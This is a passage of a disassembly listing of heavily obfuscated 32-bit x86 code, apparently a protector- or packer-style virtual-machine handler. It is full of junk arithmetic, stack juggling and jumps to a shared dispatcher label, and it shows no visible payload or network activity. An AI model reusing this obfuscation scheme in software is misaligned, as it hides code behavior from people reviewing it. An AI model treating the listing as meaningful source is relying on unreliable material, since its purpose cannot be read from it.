		xor	eax, ebx
		jmp	loc_5C1D44
; ---------------------------------------------------------------------------


loc_5C3BFF:				; CODE XREF: sub_5A55E5+1ED4Aj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C3C04:				; CODE XREF: sub_5A55E5+26F31j
		sub	ebp, 54101B0Fh
		add	ebp, esi
		add	ebp, 54101B0Fh
		pop	esi
		jmp	loc_5CC39C
; ---------------------------------------------------------------------------


loc_5C3C18:				; CODE XREF: sub_5A55E5+1F8A0j
		and	eax, 1A494CDEh
		sub	eax, 6005757h
		xchg	eax, edi
		inc	edi
		xchg	eax, edi
		jmp	loc_5CB6D0
; ---------------------------------------------------------------------------


loc_5C3C2A:				; CODE XREF: sub_5A55E5+1B1A8j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_5C6D6E
; ---------------------------------------------------------------------------


loc_5C3C38:				; CODE XREF: sub_5A55E5+2D674j
		push	[esp+80h+var_80]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+80h+var_80], eax
		jmp	loc_5CEBE9
; ---------------------------------------------------------------------------


loc_5C3C50:				; CODE XREF: sub_5A55E5+26FA3j
		add	edi, esi
		mov	esi, [esp+80h+var_80]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+84h+var_84]
		jmp	loc_5CEF4B
; ---------------------------------------------------------------------------


loc_5C3C69:				; CODE XREF: sub_5A55E5+272C8j
		mov	ecx, [esp+84h+var_84]
		push	64BDh
		mov	[esp+88h+var_88], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+88h+var_88]
		pop	esp
		add	al, dh
		push	ebx
		mov	bh, 6Bh
		jmp	loc_5CB542
; ---------------------------------------------------------------------------


loc_5C3C8D:				; CODE XREF: sub_5A55E5+2034Ej
		xchg	edi, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		push	[esp+88h+var_88]
		push	[esp+8Ch+var_8C]
		mov	eax, [esp+90h+var_90]
		jmp	loc_5C3F28
; ---------------------------------------------------------------------------


loc_5C3CA1:				; CODE XREF: sub_5A55E5+1D2ABj
		add	ebx, 4
		jmp	loc_5C9A53
; ---------------------------------------------------------------------------


loc_5C3CAC:				; CODE XREF: sub_5A55E5+2506Bj
		and	bh, al
		jmp	loc_5CDB25
; ---------------------------------------------------------------------------


loc_5C3CB3:				; CODE XREF: sub_5A55E5+2D62Dj
		pop	[esp+6Eh+var_70+2]
		push	ecx
		mov	ecx, 4
		add	[esp+6Eh+var_6C+2], ecx
		jmp	loc_5C1FC9
; ---------------------------------------------------------------------------


loc_5C3CC5:				; CODE XREF: sub_5A55E5+27024j
		mov	ch, 87h
		add	al, 64h
		add	al, ch
		sub	al, 64h
		mov	cx, word ptr [esp+6Eh+var_70+2]
		jmp	loc_5D0E96
; ---------------------------------------------------------------------------


loc_5C3CD6:				; CODE XREF: sub_5A55E5+243D9j
		mov	edi, 1A426DEh
		not	edi
		sub	edi, 0C76562C7h
		sub	eax, edi
		mov	edi, [esp+6Eh+var_70+2]
		add	esp, 4
		mov	esi, [esp+6Ah+var_6C+2]
		add	esp, 4
		push	14C3h
		mov	[esp+6Ah+var_6C+2], eax
		jmp	loc_5CF540
; ---------------------------------------------------------------------------


loc_5C3D01:				; CODE XREF: sub_5A55E5+1B4C0j
		xor	edi, [esp+82h+var_84+2]
		jmp	loc_5C58C6
; ---------------------------------------------------------------------------


loc_5C3D09:				; CODE XREF: sub_5A55E5+21CA2j
		xchg	edi, [esp+82h+var_84+2]
		pop	esp
		add	esi, 4
		xchg	esi, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		xor	ecx, [esp+7Eh+var_80+2]
		xor	[esp+7Eh+var_80+2], ecx
		xor	ecx, [esp+7Eh+var_80+2]
		pop	esp
		mov	[esp+7Ah+var_7C+2], ecx
		push	esp
		pop	ecx
		jmp	loc_5CB896
; ---------------------------------------------------------------------------


loc_5C3D2A:				; CODE XREF: sub_5A55E5+1C404j
		push	dword ptr [edi+eax*4]
		jmp	loc_5C1377
; ---------------------------------------------------------------------------


loc_5C3D32:				; CODE XREF: sub_5A55E5+1F64Aj
		sub	eax, 6B03F02Ah
		mov	ebx, eax
		pop	eax
		jmp	loc_5D1C89
; ---------------------------------------------------------------------------


loc_5C3D3F:				; CODE XREF: sub_5A55E5+2494Aj
		add	esp, 4
		add	ebp, eax
		mov	eax, [esp+0B0h+var_B0]
		add	esp, 4
		jmp	loc_5CBC2D
; ---------------------------------------------------------------------------


loc_5C3D4F:				; CODE XREF: sub_5A55E5+2C371j
		add	eax, esi
		sub	eax, 25E837DDh
		pop	esi
		sub	eax, 0E4124D7h
		add	eax, ebx
		jmp	loc_5C2765
; ---------------------------------------------------------------------------


loc_5C3D63:				; CODE XREF: sub_5A55E5+2E4F9j
		mov	ebp, 450837F6h
		add	ebp, 633645A0h
		jmp	loc_5C6F99
; ---------------------------------------------------------------------------


loc_5C3D73:				; CODE XREF: sub_5A55E5+2705Bj
		inc	eax
		add	eax, 0D7C7B5C6h
		or	ebp, eax
		mov	eax, [esp+0A8h+var_A8]
		add	esp, 4
		sub	ebp, 0FA8C00E7h
		or	edi, ebp
		pop	ebp
		xor	edi, 166064EDh
		xor	edi, 6F556F26h
		or	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0A0h+var_A0], ebp
		jmp	loc_5CA82A
; ---------------------------------------------------------------------------


loc_5C3DA7:				; CODE XREF: sub_5A55E5+1FDBCj
		neg	ebp
		push	ebx
		mov	ebx, 79754C81h
		shl	ebx, 5
		add	ebx, 0CE685E44h
		add	ebp, ebx
		jmp	loc_5D2DA1
; ---------------------------------------------------------------------------


loc_5C3DBF:				; CODE XREF: sub_5A55E5+201EBj
		sub	ecx, ebx
		pop	ebx
		sub	ecx, esi
		push	eax
		mov	eax, 3BFE0956h
		and	eax, 1CBE3A5Ah
		dec	eax
		neg	eax
		inc	eax
		or	eax, 54EB101Bh
		sub	eax, 0E599C148h
		add	ecx, eax
		pop	eax
		mov	esi, [esp+0A0h+var_A0]
		push	ebp
		jmp	loc_5D23EC
; ---------------------------------------------------------------------------
		push	355Eh
		mov	[esp+0A8h+var_A8], ebx
		sub	esp, 4
		mov	[esp+0ACh+var_AC], edi
		push	62C2EDBh
		pop	edi
		shl	edi, 5
		sub	esp, 4
		mov	[esp+0B0h+var_B0], edx
		push	ecx
		push	esi
		push	edx
		mov	edx, 7B6A2392h
		mov	esi, edx
		pop	edx
		add	esi, 0DDDA06D9h
		jmp	loc_5CD5B3
; ---------------------------------------------------------------------------


loc_5C3E22:				; CODE XREF: sub_5A55E5+20691j
		mov	dh, bl
		pop	ebx
		add	dh, 0ABh
		xor	bl, dh
		pop	edx
		push	ebx
		jmp	loc_5C01EA
; ---------------------------------------------------------------------------


loc_5C3E31:				; CODE XREF: sub_5A55E5+1F181j
		push	[esp+0B4h+var_B4]
		pop	ecx
		add	esp, 4
		add	esp, 4
		push	eax
		sub	esp, 4
		push	esp
		jmp	loc_5D32BB
; ---------------------------------------------------------------------------


loc_5C3E48:				; CODE XREF: sub_5A55E5+1D5D9j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+9Ah+var_9C+2]
		pop	esp
		add	edi, 4
		sub	edi, 4
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], edi
		push	[esp+9Ah+var_98+2]
		jmp	loc_5D0FD3
; ---------------------------------------------------------------------------


loc_5C3E73:				; CODE XREF: sub_5A55E5+224FBj
		pop	edi
		add	edx, 6931F0F6h
		xor	ebp, edx
		jmp	loc_5C870E
; ---------------------------------------------------------------------------


loc_5C3E81:				; CODE XREF: sub_5A55E5+2C57Dj
		push	44FAh
		mov	[esp+9Eh+var_A0+2], ebx
		mov	ebx, esp
		jmp	loc_5CDEEE
; ---------------------------------------------------------------------------


loc_5C3E90:				; CODE XREF: sub_5A55E5+1F5F6j
		pop	ebx
		jmp	loc_5D1AB2
; ---------------------------------------------------------------------------


loc_5C3E96:				; CODE XREF: sub_5A55E5+20F19j
		xor	edx, [esp+9Ah+var_9C+2]
		xor	[esp+9Ah+var_9C+2], edx
		xor	edx, [esp+9Ah+var_9C+2]
		pop	esp
		push	[esp+96h+var_98+2]
		push	[esp+9Ah+var_9C+2]
		mov	eax, [esp+9Eh+var_A0+2]
		add	esp, 4
		jmp	loc_5C797D
; ---------------------------------------------------------------------------


loc_5C3EB4:				; CODE XREF: sub_5A55E5+24884j
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+96h+var_98+2]
		jmp	loc_5C1B18
; ---------------------------------------------------------------------------


loc_5C3EC4:				; CODE XREF: sub_5A55E5+22165j
		add	edi, ebp
		add	edi, 7D3A0423h
		mov	ebp, [esp+96h+var_98+2]
		add	esp, 4
		add	edi, 2
		jmp	loc_5C2612
; ---------------------------------------------------------------------------


loc_5C3EDD:				; CODE XREF: sub_5A55E5+1E0D3j
		shl	edx, 8
		push	ebx
		jmp	loc_5CF6D7
; ---------------------------------------------------------------------------


loc_5C3EE6:				; CODE XREF: sub_5A55E5+2AF5Dj
		push	36E0h
		mov	[esp+9Ah+var_9C+2], eax
		jmp	loc_5C8349
; ---------------------------------------------------------------------------


loc_5C3EF3:				; CODE XREF: sub_5A55E5+24C3Cj
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 6AD8249Ch
		add	eax, 48424904h
		sub	eax, 0B31A6D9Ch
		add	edx, eax
		pop	eax
		add	edx, 4
		push	edx
		push	[esp+0A2h+var_A0+2]
		pop	edx
		pop	[esp+0A2h+var_A4+2]
		jmp	loc_5CF500
; ---------------------------------------------------------------------------


loc_5C3F1A:				; CODE XREF: sub_5A55E5+24396j
		xor	edx, [esp+9Eh+var_A0+2]
		jmp	loc_5C6459
; ---------------------------------------------------------------------------


loc_5C3F22:				; CODE XREF: sub_5A55E5+24F9Dj
		pop	edx
		jmp	loc_5C4AD0
; ---------------------------------------------------------------------------


loc_5C3F28:				; CODE XREF: sub_5A55E5+1E6B7j
		add	esp, 4
		sub	esp, 4
		mov	[esp+90h+var_90], esi
		mov	esi, esp
		push	62C2h
		mov	[esp+94h+var_94], ebx
		mov	ebx, 4
		sub	esi, 54C4247Fh
		add	esi, ebx
		add	esi, 54C4247Fh
		pop	ebx
		jmp	loc_5C77DE
; ---------------------------------------------------------------------------


loc_5C3F54:				; CODE XREF: sub_5A55E5+1D4C8j
		push	[esp+90h+var_8C]
		push	[esp+94h+var_94]
		pop	ecx
		push	edi
		push	455Eh
		mov	[esp+9Ch+var_9C], esp
		push	edi
		mov	edi, 4
		add	[esp+0A0h+var_9C], edi
		pop	edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+9Ch+var_9C]
		pop	esp
		mov	[esp+98h+var_98], edi
		push	[esp+98h+var_94]
		mov	edi, [esp+9Ch+var_9C]
		add	esp, 4
		pop	[esp+98h+var_98]
		pop	esp
		pop	[esp+90h+var_90]
		mov	esp, [esp+8Ch+var_8C]
		movzx	ecx, al
		push	6384h
		mov	[esp+90h+var_90], ecx
		jmp	loc_5D37EC
; ---------------------------------------------------------------------------


loc_5C3FBA:				; CODE XREF: sub_5A55E5+2C33Ej
		add	bl, 0A9h
		sub	bl, dh
		sub	bl, 0A9h
		mov	edx, [esp+90h+var_90]
		jmp	loc_5C7243
; ---------------------------------------------------------------------------


loc_5C3FCA:				; CODE XREF: sub_5A55E5+1D843j
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		shr	ebp, 6
		sub	ebp, 83A90060h
		sub	esi, 57753328h
		sub	esi, ebp
		add	esi, 57753328h
		pop	ebp
		push	ebp
		mov	ebp, 1AC4645Fh
		or	ebp, 3F0E1D29h
		jmp	loc_5C28C1
; ---------------------------------------------------------------------------


loc_5C3FFC:				; CODE XREF: sub_5A55E5+2819Fj
		mov	[esp+88h+var_88], edx
		mov	edx, 736B2A89h
		mov	esi, edx
		pop	edx
		add	esi, 4D21224Ch
		jmp	loc_5C72C6
; ---------------------------------------------------------------------------


loc_5C4012:				; CODE XREF: sub_5A55E5+254CEj
		xor	ebp, [esp+84h+var_84]
		jmp	loc_5CBA75
; ---------------------------------------------------------------------------


loc_5C401A:				; CODE XREF: sub_5A55E5+2B969j
		pop	edi
		jmp	loc_5C0D12
; ---------------------------------------------------------------------------
		neg	word ptr [esp+80h+var_80]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C402A:				; CODE XREF: sub_5A55E5+1D3BBj
		mov	cl, bl
		pop	bx
		add	cl, 0A5h
		xor	cl, 0C4h
		add	al, 0CBh
		sub	al, cl
		jmp	loc_5D0B03
; ---------------------------------------------------------------------------


loc_5C403D:				; CODE XREF: sub_5A55E5+1D0C9j
		add	edx, edi
		sub	edx, 70EE549Fh
		push	ebx
		mov	ebx, 78836E06h
		jmp	loc_5C222E
; ---------------------------------------------------------------------------


loc_5C4050:				; CODE XREF: sub_5A55E5+2728Bj
		push	ebp
		push	68274F01h
		pop	ebp
		jmp	loc_5D1200
; ---------------------------------------------------------------------------


loc_5C405C:				; CODE XREF: sub_5A55E5+20A26j
		push	7309965Dh
		pop	eax
		sub	ebp, eax
		pop	eax
		sub	edx, ebp
		pop	ebp
		and	ecx, edx
		pop	edx
		shr	ecx, 2
		sub	esp, 4
		mov	[esp+6Ch+var_6C], ebx
		mov	eax, [esp+6Ch+var_6C]
		push	ebx
		mov	ebx, esp
		jmp	loc_5C1F7D
; ---------------------------------------------------------------------------


loc_5C407F:				; CODE XREF: sub_5A55E5+239D8j
		mov	eax, 67AE3679h
		inc	eax
		push	6926h
		mov	[esp+74h+var_74], ebx
		push	0B6Eh
		mov	[esp+78h+var_78], esi
		mov	esi, 4961083Ch
		mov	ebx, esi
		jmp	loc_5CB8E2
; ---------------------------------------------------------------------------


loc_5C40A1:				; CODE XREF: sub_5A55E5+2B778j
		sub	eax, 2CB70605h
		pop	edi
		add	eax, ecx
		sub	eax, 3F4A36F9h
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		xor	eax, [esp+70h+var_70]
		xor	[esp+70h+var_70], eax
		xor	eax, [esp+70h+var_70]
		mov	esp, [esp+70h+var_70]
		xor	byte ptr [esp+70h+var_70], al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C40CC:				; CODE XREF: sub_5A55E5+27783j
		pop	eax
		jmp	loc_5CD9D5
; ---------------------------------------------------------------------------


loc_5C40D2:				; CODE XREF: sub_5A55E5+2BC7Cj
		push	ebp
		mov	ebp, 4
		add	ebx, 10EE728Ah
		jmp	loc_5C1350
; ---------------------------------------------------------------------------


loc_5C40E3:				; CODE XREF: sub_5A55E5+27A05j
		mov	ebp, [esp+74h+var_74]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_5CD72C
; ---------------------------------------------------------------------------


loc_5C40F6:				; CODE XREF: sub_5A55E5+1EB7Fj
		sub	esi, 79054C8Bh
		jmp	loc_5CEBD3
; ---------------------------------------------------------------------------


loc_5C4101:				; CODE XREF: sub_5A55E5+2D4AEj
		xor	[esp+74h+var_74], ebx
		xor	ebx, [esp+74h+var_74]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, 613C0878h
		sub	ebx, ecx
		push	edi
		mov	edi, 613C0878h
		add	ebx, edi
		pop	edi
		jmp	loc_5CAD91
; ---------------------------------------------------------------------------


loc_5C412D:				; CODE XREF: sub_5A55E5+20062j
		mov	[esp+78h+var_78], edx
		push	7B164D26h
		mov	edx, [esp+7Ch+var_7C]
		push	ebx
		mov	ebx, esp
		jmp	loc_5C49B0
; ---------------------------------------------------------------------------


loc_5C4140:				; CODE XREF: sub_5A55E5+2B39Aj
		xchg	esi, [esp+80h+var_80]
		pop	esp
		pop	ebx
		std
		push	edx
		push	edi
		mov	edi, 35441E64h
		shl	edi, 8
		inc	edi
		and	edi, 241C32C9h
		push	esi
		mov	esi, 340039D3h
		sub	esi, 0BAE53B7h
		inc	esi
		jmp	loc_5C40F6
; ---------------------------------------------------------------------------


loc_5C4169:				; CODE XREF: sub_5A55E5+25BB5j
		sub	eax, 3CD425BFh
		add	eax, 3407071Fh
		add	eax, esi
		sub	eax, 3407071Fh
		sub	esp, 4
		jmp	loc_5C7236
; ---------------------------------------------------------------------------


loc_5C4185:				; CODE XREF: sub_5A55E5+22326j
		push	esi
		jmp	loc_5CE598
; ---------------------------------------------------------------------------


loc_5C418B:				; CODE XREF: sub_5A55E5+26FFFj
		sub	esi, 385373E6h
		mov	ecx, [esp+8Ch+var_8C]
		jmp	loc_5CCCBF
; ---------------------------------------------------------------------------


loc_5C4199:				; CODE XREF: sub_5A55E5+2146Ej
		add	esi, 2
		jmp	loc_5CB986
; ---------------------------------------------------------------------------


loc_5C41A1:				; CODE XREF: sub_5A55E5+1B39Cj
		mov	edi, 667E3A4Fh
		jmp	loc_5C7B65
; ---------------------------------------------------------------------------


loc_5C41AB:				; CODE XREF: sub_5A55E5+2DD9Fj
		mov	[esp+94h+var_94], edx
		add	[esp+94h+var_94], 317E431Ah
		pop	esi
		jmp	loc_5C373F
; ---------------------------------------------------------------------------


loc_5C41BB:				; CODE XREF: sub_5A55E5+2875Bj
		add	esp, 4
		mov	ecx, [esp+8Ch+var_8C]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, 4C322A7Fh
		add	ecx, ebx
		sub	ecx, 4C322A7Fh
		jmp	loc_5CC4F5
; ---------------------------------------------------------------------------


loc_5C41E0:				; CODE XREF: sub_5A55E5+2CC4Dj
		mov	ebx, esi
		pop	esi
		add	[esp+90h+var_8C], ebx
		pop	ebx
		jmp	loc_5BFE50
; ---------------------------------------------------------------------------


loc_5C41ED:				; CODE XREF: sub_5A55E5+2518Ej
		add	esp, 4
		push	eax
		mov	eax, 70E31B3Bh
		xchg	eax, edx
		not	edx
		jmp	loc_5C02B1
; ---------------------------------------------------------------------------


loc_5C41FE:				; CODE XREF: sub_5A55E5+2018Ej
		and	eax, 584140CAh
		neg	eax
		dec	eax
		sub	eax, 409103C8h
		jmp	loc_5D25C3
; ---------------------------------------------------------------------------


loc_5C4210:				; CODE XREF: sub_5A55E5+1A5D4j
		push	eax
		mov	al, ch
		mov	dl, al
		pop	eax
		jmp	loc_5D37F8
; ---------------------------------------------------------------------------


loc_5C421B:				; CODE XREF: sub_5A55E5+25E1Ej
		push	edi
		mov	edi, 19C50EE7h
		jmp	loc_5D30DD
; ---------------------------------------------------------------------------


loc_5C4226:				; CODE XREF: sub_5A55E5+25426j
		xchg	eax, [esp+8Eh+var_90+2]
		pop	esp
		pop	[esp+8Ah+var_8C+2]
		mov	esp, [esp+86h+var_88+2]
		mov	[esp+86h+var_88+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+86h+var_88+2]
		pop	esp
		mov	[esp+82h+var_84+2], ebp
		push	[esp+82h+var_80+2]
		pop	ebp
		pop	[esp+82h+var_84+2]
		mov	esp, [esp+7Eh+var_80+2]
		div	ecx
		jmp	loc_5C7F1F
; ---------------------------------------------------------------------------


loc_5C4256:				; CODE XREF: sub_5A55E5+1F6D7j
		pop	[esp+7Eh+var_80+2]
		mov	esp, [esp+7Ah+var_7C+2]
		add	esp, 4
		pop	[esp+76h+var_78+2]
		pop	esp
		movsx	ecx, ax
		jmp	loc_5C468D
; ---------------------------------------------------------------------------


loc_5C426E:				; CODE XREF: sub_5A55E5+1C762j
		add	esp, 4
		add	ecx, eax
		pop	eax
		jmp	loc_5C29D0
; ---------------------------------------------------------------------------


loc_5C4279:				; CODE XREF: sub_5A55E5+2B0DFj
		pop	ebp
		pop	ebx
		push	ebp
		mov	ebp, 24050A03h
		or	ebp, 5B09537Ah
		not	ebp
		or	ebp, 65E17957h
		sub	ebp, 0D8BAAD8Fh
		add	ebx, ebp
		jmp	loc_5C8074
; ---------------------------------------------------------------------------


loc_5C429C:				; CODE XREF: sub_5A55E5+1C414j
		sub	esp, 4
		mov	[esp+0BAh+var_BC+2], ebx
		jmp	loc_5C0D89
; ---------------------------------------------------------------------------


loc_5C42AA:				; CODE XREF: sub_5A55E5+26D85j
		pop	esp
		pop	[esp+0B6h+var_B8+2]
		jmp	loc_5CEACB
; ---------------------------------------------------------------------------


loc_5C42B3:				; CODE XREF: sub_5A55E5+1B6C1j
		push	esi
		mov	esi, 43973914h
		neg	esi
		neg	esi
		sub	esi, 4C833A3Dh
		xor	esi, 1C5347CCh
		push	eax
		mov	eax, 6D2E7F97h
		jmp	loc_5C8BD9
; ---------------------------------------------------------------------------


loc_5C42D4:				; CODE XREF: sub_5A55E5+2A735j
		add	ebp, edx
		pop	edx
		jmp	loc_5C97E8
; ---------------------------------------------------------------------------


loc_5C42DC:				; CODE XREF: sub_5A55E5+1C5EEj
		push	50D7h
		mov	[esp+0A0h+var_A0], eax
		push	[esp+0A0h+var_9C]
		pop	eax
		pop	[esp+0A0h+var_A0]
		jmp	loc_5C7188
; ---------------------------------------------------------------------------


loc_5C42F1:				; CODE XREF: sub_5A55E5+1F474j
		pop	edi
		push	edx
		push	ecx
		mov	ecx, 0A917C2Ch
		not	ecx
		jmp	loc_5C4B7E
; ---------------------------------------------------------------------------


loc_5C4300:				; CODE XREF: sub_5A55E5+24A8Fj
		add	ecx, 0B9D5BE7h
		sub	ecx, 763BDEB5h
		xor	edi, ecx
		jmp	loc_5CC4E1
; ---------------------------------------------------------------------------


loc_5C4313:				; CODE XREF: sub_5A55E5+2420Bj
		sub	ebp, 210B4530h
		mov	esi, [esp+0A0h+var_A0]
		add	esp, 4
		push	eax
		mov	eax, 47724D70h
		xor	ebp, eax
		jmp	loc_5CBE75
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_5C3BFF
; ---------------------------------------------------------------------------


loc_5C4334:				; CODE XREF: sub_5A55E5+2B0F7j
		add	edx, 4
		xchg	edx, [esp+9Eh+var_A0+2]
		pop	esp
		sub	eax, 4
		jmp	loc_5CF171
; ---------------------------------------------------------------------------


loc_5C4346:				; CODE XREF: sub_5A55E5+2A9C4j
		add	esp, 4
		mov	esi, [esp+96h+var_98+2]
		add	esp, 4
		jmp	loc_5D29BA
; ---------------------------------------------------------------------------


loc_5C4357:				; CODE XREF: sub_5A55E5+24C02j
		push	ecx
		mov	cl, 71h
		xor	cl, 0EFh
		jmp	loc_5D2710
; ---------------------------------------------------------------------------


loc_5C4362:				; CODE XREF: sub_5A55E5+2A5F8j
		add	[esp+96h+var_98+2], 4
		pop	[esp+96h+var_98+2]
		jmp	loc_5C0611
; ---------------------------------------------------------------------------


loc_5C4371:				; CODE XREF: sub_5A55E5+266FEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+92h+var_94+2]
		pop	esp
		push	ebx
		mov	ebx, 2
		add	eax, ebx
		pop	ebx
		jmp	loc_5CBC1C
; ---------------------------------------------------------------------------


loc_5C438F:				; CODE XREF: sub_5A55E5+1FC0Fj
		sub	edx, 5C9E6745h
		dec	edx
		and	edx, 2B912D31h
		sub	edx, 1041DCB3h
		sub	eax, 48F0471h
		add	eax, 18D75A44h
		add	eax, edx
		jmp	loc_5C2C00
; ---------------------------------------------------------------------------


loc_5C43B3:				; CODE XREF: sub_5A55E5+1C282j
		mov	esp, [esp+9Eh+var_A0+2]
		push	edi
		push	5DE75CF5h
		jmp	loc_5D16F3
; ---------------------------------------------------------------------------


loc_5C43C1:				; CODE XREF: sub_5A55E5+1D702j
		xor	esi, 714E05B5h
		jmp	loc_5C51A0
; ---------------------------------------------------------------------------


loc_5C43CC:				; CODE XREF: sub_5A55E5+2DC3Bj
		neg	edi
		jmp	loc_5CC3CF
; ---------------------------------------------------------------------------


loc_5C43D3:				; CODE XREF: sub_5A55E5+1D076j
		pop	edi
		add	eax, esi
		jmp	loc_5C7515
; ---------------------------------------------------------------------------


loc_5C43DB:				; CODE XREF: sub_5A55E5+2A0FFj
		shl	dh, 5
		jmp	loc_5C19EE
; ---------------------------------------------------------------------------


loc_5C43E3:				; CODE XREF: sub_5A55E5+299A8j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+6Ch+var_6C]
		jmp	loc_5D340C
; ---------------------------------------------------------------------------


loc_5C43F5:				; CODE XREF: sub_5A55E5+22020j
		pop	edx
		add	ebp, ebx
		jmp	loc_5D3D9C
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+68h+var_68]
		push	52D7h
		mov	[esp+6Ch+var_6C], edi
		jmp	loc_5D3F93
; ---------------------------------------------------------------------------


loc_5C440E:				; CODE XREF: sub_5A55E5+2D702j
		mov	ebp, 77DF04A2h
		neg	ebp
		jmp	loc_5BFF37
; ---------------------------------------------------------------------------


loc_5C441A:				; CODE XREF: sub_5A55E5+2BC58j
		pop	ebx
		push	28DAh
		mov	[esp+6Ch+var_6C], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+70h+var_70], edx
		mov	edx, 4
		add	ecx, 6B124D98h
		jmp	loc_5C674E
; ---------------------------------------------------------------------------


loc_5C443E:				; CODE XREF: sub_5A55E5+2E5AEj
		dec	eax
		xchg	eax, ebx
		jmp	loc_5C5A2E
; ---------------------------------------------------------------------------


loc_5C4445:				; CODE XREF: sub_5A55E5+2B5D9j
		pop	ebp
		add	edi, edx
		push	ecx
		jmp	loc_5C5651
; ---------------------------------------------------------------------------


loc_5C444E:				; CODE XREF: sub_5A55E5+23B03j
		sub	ebp, 4
		xchg	ebp, [esp+70h+var_70]
		mov	esp, [esp+70h+var_70]
		mov	[esp+70h+var_70], edi
		sub	esp, 4
		mov	[esp+74h+var_74], ebx
		mov	ebx, 6A5F3E48h
		xor	ebx, 6A5F3E48h
		push	edx
		mov	edx, ebx
		mov	edi, edx
		pop	edx
		mov	ebx, [esp+74h+var_74]
		jmp	loc_5C16ED
; ---------------------------------------------------------------------------


loc_5C4479:				; CODE XREF: sub_5A55E5+2E555j
		pop	edi
		push	ebp
		push	[esp+74h+var_70]
		pop	ebp
		pop	[esp+74h+var_74]
		pop	esp
		jmp	loc_5C1E00
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+6Ch+var_6C]
		jmp	loc_5CCB51
; ---------------------------------------------------------------------------


loc_5C4492:				; CODE XREF: sub_5A55E5+1C7ADj
		push	ecx
		not	[esp+90h+var_90]
		pop	ecx
		add	ecx, 0DB585986h
		or	esi, ecx
		mov	ecx, [esp+8Ch+var_8C]
		jmp	loc_5D2D36
; ---------------------------------------------------------------------------


loc_5C44A7:				; CODE XREF: sub_5A55E5+2E8B6j
		push	edi
		sub	esp, 4
		jmp	loc_5C5B35
; ---------------------------------------------------------------------------


loc_5C44B0:				; CODE XREF: sub_5A55E5+1E0E6j
		sub	edx, 3CF476E5h
		pop	ebx
		sub	edi, edx
		pop	edx
		push	eax
		mov	eax, 4AA038F8h
		sub	edi, eax
		pop	eax
		sub	edi, esi
		add	edi, 4AA038F8h
		add	edi, 707277DAh
		pop	esi
		mov	ecx, [esp+86h+var_88+2]
		add	esp, 4
		push	edi
		push	[esp+86h+var_84+2]
		mov	edi, [esp+8Ah+var_8C+2]
		add	esp, 4
		jmp	loc_5C3586
; ---------------------------------------------------------------------------


loc_5C44EB:				; CODE XREF: sub_5A55E5+24311j
		dec	bl
		jmp	loc_5CE099
; ---------------------------------------------------------------------------


loc_5C44F2:				; CODE XREF: sub_5A55E5+29A7Ej
		pop	esp
		sub	[esp+82h+var_80+2], ebp
		jmp	loc_5CFB27
; ---------------------------------------------------------------------------


loc_5C44FC:				; CODE XREF: sub_5A55E5+2A223j
		shl	ebp, 2
		and	ebp, 33EB257Bh
		push	edx
		mov	edx, 0
		sub	edx, ebp
		mov	ebp, edx
		jmp	loc_5C065F
; ---------------------------------------------------------------------------


loc_5C4514:				; CODE XREF: sub_5A55E5+2665Ej
		push	3714h
		mov	[esp+8Ah+var_8C+2], esp
		add	[esp+8Ah+var_8C+2], 4
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 527A6EE5h
		jmp	loc_5D02CC
; ---------------------------------------------------------------------------


loc_5C4534:				; CODE XREF: sub_5A55E5+274DFj
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], esp
		push	eax
		jmp	loc_5CEDF6
; ---------------------------------------------------------------------------


loc_5C4540:				; CODE XREF: sub_5A55E5+236D8j
		xor	[esp+92h+var_94+2], 4FD83FB2h
		mov	ebp, [esp+92h+var_94+2]
		add	esp, 4
		xor	ebp, 4FD83FB2h
		mov	ecx, [esp+8Eh+var_90+2]
		add	esp, 4
		add	ecx, ebp
		mov	ebp, [esp+8Ah+var_8C+2]
		add	esp, 4
		xor	ecx, [esp+86h+var_88+2]
		xor	[esp+86h+var_88+2], ecx
		xor	ecx, [esp+86h+var_88+2]
		mov	esp, [esp+86h+var_88+2]
		jmp	loc_5CA655
; ---------------------------------------------------------------------------


loc_5C4575:				; CODE XREF: sub_5A55E5+2ADCAj
		add	esp, 4
		pop	cx
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C4589:				; CODE XREF: sub_5A55E5+2AFAEj
		sub	ebx, esi
		pop	esi
		jmp	loc_5CFE86
; ---------------------------------------------------------------------------


loc_5C4591:				; CODE XREF: sub_5A55E5+29451j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C4596:				; CODE XREF: sub_5A55E5+1A4AAj
